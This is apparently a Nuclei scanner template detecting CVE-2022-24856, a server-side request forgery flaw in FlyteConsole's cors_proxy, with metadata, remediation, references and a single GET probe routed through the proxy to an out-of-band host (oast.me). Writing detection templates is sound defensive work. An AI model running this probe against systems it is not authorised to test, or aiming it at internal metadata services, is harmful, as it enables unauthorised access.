id: CVE-2022-24856

info:
  name: Flyte Console <0.52.0 - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur.
  remediation: |
    The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole.
  reference:
    - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9
    - https://github.com/flyteorg/flyteconsole/pull/389
    - https://hackerone.com/reports/1540906
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24856
    - https://github.com/flyteorg/flyteconsole/commit/05b88ed2d2ecdb5d8a8404efea25414e57189709
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24856
    cwe-id: CWE-918
    epss-score: 0.0639
    epss-percentile: 0.92862
    cpe: cpe:2.3:a:flyte:flyte_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flyte
    product: flyte_console
  tags: cve,cve2022,flyteconsole,ssrf,oss,hackerone

http:
  - method: GET
    path:
      - "{{BaseURL}}/cors_proxy/https://oast.me/"

    matchers:
      - type: word
        words:
          - "Interactsh Server"

# digest: 4a0a00473045022100ce74cc7c22671a7d6303c3bc4184a403c0738adf45499f794d74039fb2920e9302200ddf4ed78b382847f4940a673a20d7f74a5fcab8b49b17dc80eac4abdfebf7af:922c64590222798bb761d5b6d8e72950